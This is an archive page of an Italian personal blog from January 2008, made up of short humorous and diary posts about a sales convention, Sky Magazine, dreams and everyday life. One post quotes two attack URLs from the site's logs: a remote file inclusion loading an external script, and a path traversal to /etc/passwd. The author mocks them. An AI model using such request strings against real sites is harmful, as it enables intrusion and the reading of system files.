Archive for January, 2008

Jan 31 2008

Vuoto

impanato uzi e allegato in In my mind

Ne ho uno simile.
Poi, ho la casa piena di cianfrusaglie.
Non ne ho bisogno.
Nemmeno lo desidero.
Si, è carino, ma neanche tanto.

Vabbè lo compro. Chi lo sa, magari è magico e…

3 han detto che

Jan 30 2008

Appello

impanato uzi e allegato in Post it

Da anni sostengo una causa simile, la mia però prevede una dichiarazione di guerra alla Svizzera e successiva resa immediata con la speranza di ottenere lo status di territori occupati. Lo ammetto è una tattica un po’ separatista e valida per lo più nel solo ambito locale, ma qui ormai è ognuno per se.

Questa però tra il semiserio e il per davvero, è proprio ben fatta e merita d’esser divulgata.

Fratelli Europei: Invadeteci

SOS Invadeteci!

Promuovi anche tu l’invasione EU!

Chi tace acconsente

Jan 28 2008

Lo specchio

impanato uzi e allegato in SubRoutine Quotidiane

Inizio sera, le insegne s’accendono le vie s’illuminano di luce innaturale.
Interno bar: un piccolo gruppo di extracomunitari si raduna di fronte al televisore, lo stesso che la domenica trasmette le partite del campionato, per tifare la nazionale impegnata nella coppa d’Africa.
Secondo tempo, nel mezzo di quel piccolo inferno che è vedere la propria nazionale subire la sconfitta, il ricevitore satellitare impazzisce e cambia canale. Silenzio.
Il barista non sente più le voci dei commentatori, nota il silenzio nella saletta e imprecando qualcosa a denti stretti torna a sintonizzare il ricevitore sulla partita.

Prova ad immaginare la stessa scena sostituendo i tifosi marocchini con i loro vicini.
Non so di cosa, ma è sicuramente un segno.

No, non intendevo gli algerini (nemmeno gli egiziani).

Chi tace acconsente

Jan 25 2008

Ermetico simbolismo allarmante

impanato uzi e allegato in SubRoutine Quotidiane

Nella passata notte ho sognato un’amica.
Una di quelle donne che sorridono quando l’apostrofi così, perché non riescono a credere di essere diventate grandi.
Una di quelle donne che ti entrano in mente e ti possiedono per sempre, non puoi scappare.
Una di quelle donne che vorresti, ma hai troppa paura di farti male.

Ho sognato d’abbracciarla, con l’affetto di un fratello e la gioia per un’amica ritrovata.
Ecco, mi son perso anche quel poco di testosterone che restava.

2 han detto che

Jan 22 2008

ConvenutoX

impanato uzi e allegato in SubRoutine Quotidiane

Di ritorno da Roma ho immediatamente riassunto al mio socio e fratello i contenuti delle quattro ore di chiacchiere e magnifiche slide: Bravi, grazie, però adesso impegnatevi di più.
Escludendo il lato economico: un’altra presentazione veloce del software che a breve verrà fornito sui terminali, sempre con le slide queste però accompagnate da applausi scroscianti, quasi tifo da stadio.
Bello, ho pensato, ma si può fare di più. Purtroppo non c’era possibilità di replica.

La convention è stata quello che mi aspettavo: una perdita di tempo. Ma a quanto pare quelli della giocosa società non potevano fare a meno di mostrarsi oltremodo brillanti per spronarci a spillar soldi: convention con buffet per oltre duemila persone, hotel di stralusso con tanto di chalet personale, voli e trasferimento con hostess brandizzate ogni dove (come avere google a portata di voce). Spettacolo di cabaret con volti noti della tv a fine serata e per concludere, al rientro in camera un kit di regali che mi ha lasciato davvero a bocca aperta (unici senza brand sono un dvd e una cornice per foto digitali, comunque ho apprezzato molto)

In vita mia mai stato trattato meglio e adesso mi sento in colpa.
Forse questo è un trucco machiavellico per dare lo sprone a chi come me è refrattario alla retorica delle convention (le slide mi allibiscono e i bei discorsi urticano): se non sei dei nostri (felice ed orgoglioso) e lavori per noi, allora hai un debito (morale?).
Per uno come me che ha un’intera collezione di sensi di colpa, questo mi mancava proprio (doppio debito?).

Chi tace acconsente

Jan 21 2008

Terminologia

impanato uzi e allegato in SubRoutine Quotidiane

Da parecchio tempo trovo difficile usare termini come reale per indicare qualcosa che non appartiene alla realtà del web. Eppure mi è sempre mancato un termine per identificare il mondo al di là del cavo. Definire reale quel mondo significa dare a internet e al popolo della rete un evanescenza che invece non ha, lo sa bene anche la mia carta di credito.
In una conversazione a proposito di servizi via internet e non, è spuntato il termine A Terra per indicare i servizi forniti senza l’intermediazione di questa tecnologia. Semplice e molto appropriato per contrapporsi a tutto quello che si fa navigando nel web.
Ora è mio al punto da non poterne più fare a meno e tutto quello che non online è a terra (anche in senso lato), lo ammetto: esagero e spesso sembro più scemo del solito.
Ma questo capita solo a terra. Spero.

Un ardito commento

Jan 18 2008

Fase 2 a Roma

impanato uzi e allegato in SubRoutine Quotidiane

Ti ricordi quando scrissi questa cosa sulla convention a Milano? Lunedì dovrei presentarmi per la fase due: dove ci spiegano lo stato delle cose e come migliorare il fatturato, che siamo belli ma possiamo esserlo di più e che loro sanno come fare tutto ciò e tante, tante altre cose.
Incontro nazionale, mica pizza e fichi provincial regionale, con ancor maggiori pressioni per partecipare; fatto che, sinceramente, continuo a non comprendere.
Scrivo dovrei, perché anche se ho già ricevuto la comunicazione del numero di volo, dove ritirare i biglietti e via di seguito, non riesco ad immaginarmi così lontano per così tanto tempo.

Chi tace acconsente

Jan 17 2008

Sky Magazine, l’inutilità a pagamento

impanato uzi e allegato in Post it

Il titolo mi piace, e quasi mi basta quello per andarmene soddisfatto. Ma no, due righe al mio amico di blog le scrivo ugualmente.

Avvisato da Morelli e Mantellini con approfondimenti qui; vengo a conoscenza che da Marzo la rivista SkyMagazine sarà a pagamento, per la modica somma di euro 0,90.
Per uno che ha due abbonamenti e non ha idea di quanto paga in totale, dieci euro l’anno in più o in meno non sono gran cosa, ma l’idea di subire un sopruso scoccia assai. Inoltre, da anni quella rivista finisce nella spazzatura, dopo averla debitamente scartata dal cellophane, che qui siamo in uno dei comuni ricicloni: se nella differenziata trovano qualcosa che non va non ritirano o addirittura rispediscono al mittente. Certo, poi abbiamo l’acqua zeppa di nitrati, ma che centra con Sky?
Fotunatamente è possibile disdire la sottoscrizione alla rivista attraverso il sito Skylife.it, operazione che impegna al massimo due preziosi minuti e, avendo tempo da perdere, si può rinfrescare la memoria sullo stato dell’abbonamento, aggiungere opzioni, pacchetti e decoder. Nulla invece per quel che riguarda la cessazione dell’abbonamento, per ottenere informazioni a riguardo si deve googlare un po’.

Sky fa parte di News Corporation, forse ci si aspettava qualcosa di diverso da un gruppo straniero, ma sembrano essersi ambientati molto bene.

4 han detto che

Jan 16 2008

Aspettavamo loro

impanato uzi e allegato in SubRoutine Quotidiane

Da tempo immemorabile non curiosavo tra le statistiche ed oggi, andando a sistemare alcune cosucce nel database, ho dato uno scorcio anche ai malcapitati.
Lo so che così facendo probabilmente richiamo le ire di qualcuno, ma quando trovo cose simili nei referer:

http://gosub5000.net/index.php?side=http://www.buyphpscripts.com/x.txt???

http://gosub5000.net/index.php?p=/../../../../../../../../etc/passwd

Non posso che sorridere di fronte a tanta ingenuità.
Grande acher: queste cose non funzionano qui e nemmeno sul mio server casalingo configurato da un pasticcione come me, ripassa il codice di wordpress e riprova.

postilla:
Scommetto che x.txt non lo hai scritto tu e chiedendotene il significato non me lo sapresti spiegare.
A onor del vero, non lo capisco nemmeno io.

Chi tace acconsente

Jan 15 2008

Malavita (vitaccia)

impanato uzi e allegato in SubRoutine Quotidiane

Di solito immagino un post e poi ne pubblico un altro completamente diverso e la colpa, lo giuro, è del titolo. Non del titolo vero e proprio e del suo significato, ma del (o della) form che capeggia sopra lo spazio che lentamente va riempendosi di letterine nere. Nello spazio, questo ove scrivo ora, dedicato al post capita una cosa strana; il titolo, che a onor del vero scorgo a malapena con la coda dell’occhio -non che lo schermo sia così grande da perdersi, ho lo sguardo concentrato sul (o sulla) form del post, una vista limitata come quella dei grandi predatori, vedo solo quel che ho nel mirino, oppure è tempo di una visita oculistica e strusciare il naso tra l’elettrostaticità del monitor dovrebbe essere un evidente segno delle ulteriori diottrie perse.
In questo spazio bianco che vado lentamente a sporcare, il titolo esercita un influenza inversa al suo presunto significato, se scrivo Pesce nel titolo l’articolo parlerà di carne. Capita sempre più spesso, praticamente ogni volta che mi presento qui, dietro le quinte a scrivere e, ne sono certo, la colpa è del box che ospita il titolo. Chissà per quale arcano motivo; forse un incantesimo in PHP, un bug di WordPress o una fattura al blog, quel box emette radiazioni tanto forti da riuscire a farmi scrivere cose che nulla centrano con il titolo.
Qualcuno potrebbe pensare che, vista la recente prolificità, tale accadimento sia di fatto un evento raro. Oppure, proprio questa estrema dissonanza tra titolo e contenuto è causa prima, o comunque concausa, dei prolungati silenzi (aborto spontaneo del post dopo la quinta riga). Sono vere entrambe le supposizioni e questo post è un esempio perfetto. Quasi.

Un ulteriore seccatura è la mia cronica difficoltà di concentrazione: ricordo ancora quando alle elementari ero obbligato a disegnare le prime pagine dei quaderni, le cornicette le chiamavano. Iniziavo a disegnare queste cornicette con forme geometriche ricalcando i quadretti nel quaderno di matematica e seguendo uno schema a zig zag su quello d’italiano. Lo schema si perdeva a metà pagina; distrazione dovuta alla noiosa ripetitività oppure, sempre a causa della ripetitività mischiavo lo schema iniziale con uno diverso, più bello e divertente oppure più facile e veloce. Alla fine le mie prime pagine somigliavano più alla rappresentazione di una traccia audio e, ovviamente, non andavano bene come cornice al quaderno. La maestra, per non ferire il mio amor proprio, preferiva non votarle piuttosto che mettere un voto negativo.

Oltre alla difficoltà di concentrazione cronica, credo d’essere vittima anche di quella strana compulsione a raccontar aneddoti noiosi e fuori tema che colpisce le persone di una certa età. Esempio: vedi sopra.

Sommando tra loro i titoli che influenzano i post invertendoli, l’aggravamento della miopia, l’elettricità statica sul naso che mi fa lacrimare, gli aneddoti e la difficoltà di concentrazione si ha come risultato una tremenda diminuzione di scritti. Non centra nulla la vita vera, quella del mondo reale fatta d’indirizzi col CAP e senza IP, del traffico di macchine piuttosto che di dati. Nulla centra il lavoro con i suoi obblighi che sottilmente vanno ad impegnare ogni spazio e tempo che trovano libero. Anche il sesso non centra, purtroppo, e dei sentimenti non scrivo più perché sembrano andati esauriti come le playstation a natale (in prima istanza ho scritto panettone al posto di playstation, ma tempo due settimane per questo prodotto iniziano i saldi e il paragone può essere inquietante). No, non centrano nulla: anche se devo ammettere d’essermi stupito quando ho preso coscienza che nella barra delle connessioni di IceWeasel (Firefox per i non Debianisti), i link appartenenti a quella categoria di siti che si usano solo per lavoro hanno superato in numero quelli dedicati ai blog, forumi e GNU/Linux. Questo può essere inteso come un bene o un male: Un bene perché finalmente il resto del mondo (almeno quella piccola parte che frequento per obblighi professionali) ha scoperto internet, magari senza coglierne tutte le potenzialità, offrendo così servizi senza la necessità di chiamare call center inefficaci o restare in coda sulla soglia di qualche ufficio triste e grigio. Un male, perché a confronto con il resto del Web questi servizi sono limitati nelle funzionalità e poco evoluti tecnicamente. Inoltre è un male perché una volta seduto davanti al piccì non è detto che si smetta di lavorare e per uno dotato di scarsa concentrazione, questa è una vera tortura.

Chi tace acconsente

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